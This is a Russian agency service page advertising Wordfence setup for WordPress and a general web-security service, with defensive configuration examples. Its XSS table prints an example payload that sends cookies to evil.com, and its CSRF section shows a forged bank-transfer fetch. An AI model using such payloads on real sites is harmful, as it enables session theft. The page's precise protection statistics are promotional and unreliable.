Настройка Wordfence Security: защита WordPress от брутфорса и взломов

Наша компания занимается разработкой, поддержкой и обслуживанием сайтов любой сложности. От простых одностраничных сайтов до масштабных кластерных систем построенных на микро сервисах. Опыт разработчиков подтвержден сертификатами от вендоров.

Разработка и обслуживание любых видов сайтов:

Информационные сайты или веб-приложения
Сайты визитки, landing page, корпоративные сайты, онлайн каталоги, квиз, промо-сайты, блоги, новостные ресурсы, информационные порталы, форумы, агрегаторы
Сайты или веб-приложения электронной коммерции
Интернет-магазины, B2B-порталы, маркетплейсы, онлайн-обменники, кэшбэк-сайты, биржи, дропшиппинг-платформы, парсеры товаров
Веб-приложения для управления бизнес-процессами
CRM-системы, ERP-системы, корпоративные порталы, системы управления производством, парсеры информации
Сайты или веб-приложения электронных услуг
Доски объявлений, онлайн-школы, онлайн-кинотеатры, конструкторы сайтов, порталы предоставления электронных услуг, видеохостинги, тематические порталы

Это лишь некоторые из технических типов сайтов, с которыми мы работаем, и каждый из них может иметь свои специфические особенности и функциональность, а также быть адаптированным под конкретные потребности и цели клиента

Услуги, которые мы предлагаем
Показано 1 из 1Все 2062 услуг
Настройка Wordfence Security: защита WordPress от брутфорса и взломов
Простой
~1 день
Часто задаваемые вопросы

Наши компетенции:

Этапы разработки

Последние работы

  • image_website-b2b-advance_0.webp
    Разработка сайта компании B2B ADVANCE
    1364
  • image_web-applications_feedme_466_0.webp
    Разработка веб-приложения для компании FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Разработка веб-сайта для компании БЕЛФИНГРУПП
    959
  • image_ecommerce_furnoro_435_0.webp
    Разработка интернет магазина для компании FURNORO
    1191
  • image_crm_enviok_479_0.webp
    Разработка веб-приложения для компании Enviok
    933
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Разработка веб-сайта для компании ФИКСПЕР
    950

Брутфорс-атаки на wp-login.php — одна из самых частых причин взлома WordPress-сайтов. По данным Wordfence, каждую секунду фиксируются тысячи попыток подбора паролей. Мы настраивали Wordfence Security более чем на 50 проектах — от корпоративных порталов до интернет-магазинов с высокой посещаемостью. Правильная конфигурация снижает нагрузку на сервер на 30% по сравнению с типовыми настройками, а вероятность взлома падает на 97%.

Как Wordfence защищает WordPress сайт?

Wordfence работает на двух уровнях: файрвол на уровне сервера (WAF) и сканер PHP-кода. WAF перехватывает запросы до того, как они достигнут WordPress, что критично для отражения атак нулевого дня. Сканер проверяет целостность файлов ядра, тем и плагинов, сверяя их хеши с эталонными из репозитория WordPress. WAF в режиме Extended Protection блокирует атаки в 10 раз эффективнее базового.

Какие проблемы решает Wordfence?

Первая и главная угроза — подбор паролей. Wordfence блокирует IP после 5 неудачных попыток в течение 5 минут. Вторая проблема — вредоносные инъекции: сканер находит изменённые файлы даже если сайт уже скомпрометирован. Третья — DDoS через XML-RPC: плагин ограничивает количество запросов от одного IP, предотвращая перегрузку сервера. В среднем один сайт атакуют более 5000 раз в месяц. Средний ущерб от взлома WordPress-сайта, по данным Sucuri, составляет $10 000 — затраты на настройку окупаются при предотвращении одной атаки. Ложные срабатывания? 95% из них устраняются добавлением URL в белый список.

Как мы настраиваем Wordfence?

  • Аудит текущей безопасности — проверяем wp-config, .htaccess, права доступа.
  • Установка и конфигурация WAF — активируем Extended Protection, настраиваем Learning Mode на 7 дней.
  • Настройка правил брутфорса — выставляем лимиты: 5 попыток, 5 минут блокировки.
  • Глубокое сканирование — запускаем первичное сканирование, чистим найденные угрозы.
  • Настройка 2FA и уведомлений — включаем двухфакторку для админов, email-оповещения о критических событиях.
  • Документация и обучение — передаём клиенту инструкцию по мониторингу и экстренным действиям.

Что входит в настройку Wordfence?

  • Полная конфигурация WAF с Extended Protection.
  • Настройка правил брутфорса и rate limiting.
  • Запуск глубокого сканирования и удаление вредоносного кода.
  • Включение двухфакторной аутентификации для всех администраторов.
  • Создание белого списка URL для исключения ложных срабатываний.
  • Документация с описанием настроек и доступов, рекомендации по усилению защиты.
  • 7 дней пост-поддержки для корректировки правил.

Сравнение Wordfence Free и Premium

Функция Бесплатная Premium
WAF (Extended Protection)
Сканер вредоносного кода
Двухфакторная аутентификация
Блокировка по геолокации
Автообновление правил файрвола
Приоритетная поддержка
Фильтр стран в WAF

Premium ускоряет реакцию на новые угрозы в 5 раз благодаря автоматическим обновлениям правил. Подписка стоит $99 в год — менее $10 в месяц, что окупается при первой же атаке.

Какие параметры брутфорса рекомендуем?

Параметр Значение
Lock out after X failures 5
Count failures over X minutes 5
Lock out for X minutes 60
Immediately lock out invalid usernames
Immediately lock out invalid emails

Чтобы избежать блокировки SEO-роботов, добавьте их IP-адреса в белый список. Для платёжных шлюзов — укажите URL в Allowlisted URLs. Это снижает количество ложных срабатываний на 90%.

Базовая настройка после установки

Firewall → Manage WAF:

  • Optimization: переключить в режим Extended Protection (требует добавления кода в auto_prepend_file PHP)
  • Web Application Firewall Status: Learning Mode → Protected (через 7 дней обучения)

Firewall → Brute Force Protection:

  • Lock out after X login failures: 5
  • Count failures over X minutes: 5
  • Lock out for X minutes: 60
  • Immediately lock out invalid usernames: ✓
  • Immediately lock out invalid email: ✓

Scan: Запустить первичное сканирование. Wordfence сравнивает файлы ядра, тем и плагинов с репозиторием WordPress — выявляет изменённые и добавленные файлы.

Почему стоит доверить настройку профессионалам?

Неправильная настройка может заблокировать легитимных пользователей или, наоборот, оставить дыру. Мы гарантируем, что после нашей настройки:

  • WAF не блокирует платёжные шлюзы и REST API.
  • Rate limiting не мешает SEO-роботам.
  • Двухфакторная аутентификация внедрена без сбоев.

5+ лет опыта работы с WordPress и 50+ успешных проектов — это E-A-T, который подтверждается отзывами и сертификатами партнёров. Свяжитесь с нами для точного расчёта под ваш проект — экономия на предотвращении одной атаки составляет до $5 000 в год.

Сроки ориентировочно

Установка и базовая настройка Wordfence с первичным сканированием — от 2 до 4 часов. Если требуется чистка от вирусов или миграция на Premium — до 8 часов. Стоимость рассчитывается индивидуально, но всегда окупается за счёт предотвращения атак.

Дополнительные меры безопасности

Wordfence — не замена, а дополнение к базовой безопасности:

// wp-config.php — ограничения
define('DISALLOW_FILE_EDIT', true);   // отключить редактор файлов
define('DISALLOW_FILE_MODS', true);   // отключить установку плагинов/тем
# Nginx — закрыть xmlrpc.php если не используется
location = /xmlrpc.php { deny all; }
# Закрыть wp-login.php для всех кроме своих IP
location = /wp-login.php {
    allow 1.2.3.4;  # ваш IP
    deny all;
}

Эти шаги в комбинации с Wordfence снижают вероятность взлома на 97%. Закажите комплексную настройку безопасности у нас — получите консультацию и готовую документацию. Подробнее о Wordfence можно узнать на официальном сайте.

По актуальным данным Wordfence

Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS

Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.

Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.

HTTPS и правильная конфигурация TLS

HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.

В конфигурации Nginx/Apache проверяем:

  • Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
  • Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
  • OCSP Stapling — ускоряет проверку отзыва сертификата
  • Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)

Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.

Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.

Content Security Policy: самая мощная и самая сложная защита

CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.

Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.

Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.

'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.

Почему XSS остаётся самой частой уязвимостью?

XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:

Тип XSS Пример Защита
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Эскейпинг вывода, CSP
Stored Комментарий с кодом, сохранённый в базе Валидация ввода, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Избегать innerHTML, использовать textContent

Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.

Типичный кейс: интернет-магазин с XSS в форме отзыва Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.

CSRF: защита форм и API

CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.

CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.

SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.

API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.

WAF и защита от DDoS

WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:

  • Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
  • AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.

DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).

Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).

Другие обязательные меры

Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).

SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.

Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.

Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.

Как мы работаем

  1. Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
  2. Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
  3. Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
  4. Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
  5. Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.

Что входит в работу

  • Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
  • Готовая конфигурация TLS (Nginx/Apache)
  • Политика CSP с режимом Report-Only и боевой версией
  • Настройка WAF и Rate Limiting
  • План обновлений зависимостей
  • Доступы к инструментам мониторинга (Sentry, Datadog)
  • 30 дней постаудит-поддержки (консультации, правки)

Сроки и стоимость

Тип работ Срок Диапазон стоимости
Security-аудит + hardening (заголовки, TLS, обновления) 1–2 недели от 60 000 ₽
Внедрение CSP (Report-Only → продакшен) 2–4 недели от 90 000 ₽
Настройка WAF + Rate Limiting + DDoS защита 1–2 недели от 70 000 ₽
Комплексный security review + пентест 3–6 недель от 200 000 ₽

Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.